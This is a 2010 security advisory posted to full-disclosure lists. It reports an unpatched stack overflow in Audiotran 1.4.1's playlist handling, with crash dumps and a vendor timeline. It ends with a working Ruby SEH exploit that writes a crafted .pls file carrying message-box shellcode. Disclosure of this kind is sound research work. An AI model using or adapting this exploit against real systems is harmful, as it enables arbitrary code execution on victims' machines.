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Message-ID: <C0641B79F7D6A44791BA8FA35BC143F90153A1A66D93@apollo.corelan.be>
Date: Sat, 9 Jan 2010 20:02:59 +0100
From: Security <security@...elan.be>
To: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>,
"secalert@...urityreason.com" <secalert@...urityreason.com>,
"bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>,
"vuln@...unia.com" <vuln@...unia.com>
Cc: Corelan Team <Corelan.Team@...elan.be>
Subject: [CORELAN-10-001] Audiotran 1.4.1 buffer overflow
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| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |
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| http://www.corelan.be:8800 |
| security@...elan.be |
| |
|-------------------------------------------------[ EIP Hunters ]--|
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| Vulnerability Disclosure Report |
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|------------------------------------------------------------------|
Advisory : CORELAN-10-001
Disclosure date : January 9th, 2010
Corelan reference : http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-001-audiotran-buffer-overflow/
0x00 : Vulnerability information
--------------------------------
[*] Product : Audiotran
[*] Version : 1.4.1
[*] Vendor : E-Soft
[*] URL : http://www.e-soft.co.uk/Audiotran.htm
[*] Platform : Windows
[*] Type of vulnerability : Stack overflow
[*] Risk rating : Medium
[*] Issue fixed in version : not fixed
[*] Vulnerability discovered by : Sebastien Duquette
[*] Greetings to : corelanc0d3r, rick2600, mr_me & MarkoT from Corelan Team
0x01 : Vendor description of software
-------------------------------------
>From the vendor website:
"Audiotran is an audio player with speed and pitch changer."
0x02 : Vulnerability details
----------------------------
Audiotran suffers from a stack overflow in the handling of playlist files.
Here is the content of memory after the overflow :
Registers:
eax=00000041 ebx=ffffffff ecx=ffffffff edx=00000002 esi=00130000 edi=01adcf48
eip=01a83db6 esp=0012de90 ebp=0012e060 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
AdjMmsEng!djWaveformAnalyzerMouseActionGet+0x45863:
01a83db6 8806 mov byte ptr [esi],al ds:0023:00130000=41
SEH chain:
0012e7dc: <Unloaded_nr.dll>+41414140 (41414141)
Invalid exception stack at 41414141
Call stack:
0012e060 01a7b862 AdjMmsEng!djWaveformAnalyzerMouseActionGet+0x45863
0012e07c 01a0be1b AdjMmsEng!djWaveformAnalyzerMouseActionGet+0x3d30f
0012e7e8 41414141 AdjMmsEng!djLrcFileTimeEnhancedTagsGetAt+0x13696
0012e7ec 41414141 <Unloaded_nr.dll>+0x41414140
By opening a specially crafted playlist (.pls), it is possible to execute
arbitrary code.
0x03 : Vendor communication
---------------------------
[*] 30/12/2009 : vendor contacted
[*] No response
[*] 09/01/2010 : public disclosure
Note: The same vulnerability was disclosed in a software from
E-Soft (DJ Studio Pro) 3 months ago and is still unpatched.
0x04 : Exploit
--------------
#!/usr/bin/ruby
# Audiotran 1.4.1 Win XP SP2/SP3 English BOF SEH Exploit
# Corelan Team MsgBox
payload =
"\xeb\x22\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78" +
"\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xeb" +
"\x09\x8b\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3" +
"\xeb\x69\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54" +
"\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb" +
"\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0" +
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb" +
"\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb" +
"\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b" +
"\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8" +
"\xaa\xff\xff\xff\x89\x07\x44\x44\x44\x44\x44\x44" +
"\x44\x44\x47\x47\x47\x47\x39\xce\x75\xe6\xc3\x4c" +
"\x4c\x4c\x4c\x89\xe5\xe8\x68\xff\xff\xff\x89\xc2" +
"\xeb\x1c\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8" +
"\xc8\xff\xff\xff\xeb\x15\x31\xd2\x59\x88\x51\x36" +
"\x51\x52\xff\x54\x24\x0c\xe8\xdf\xff\xff\xff\x57" +
"\x7f\x29\x62\xe8\xe6\xff\xff\xff\x43\x6f\x72\x65" +
"\x6c\x61\x6e\x20\x54\x65\x61\x6d\x20\x53\x68\x65" +
"\x6c\x6c\x63\x6f\x64\x65\x20\x2d\x20\x50\x72\x6f" +
"\x67\x72\x61\x6d\x20\x65\x78\x70\x6c\x6f\x69\x74" +
"\x65\x64\x20\x73\x75\x63\x65\x73\x73\x66\x75\x6c" +
"\x6c\x79\x58"
f = File.new("audiotran_poc.pls", 'w')
f.write 'A' * 1308 #padding
f.write "\xeb\x06\x90\x90"
f.write "\xcb\x75\x52\x73" # ret at 0x735275CB [msvbvm60.dll]
f.write payload
f.write 'A' * 9000 # padding
f.close
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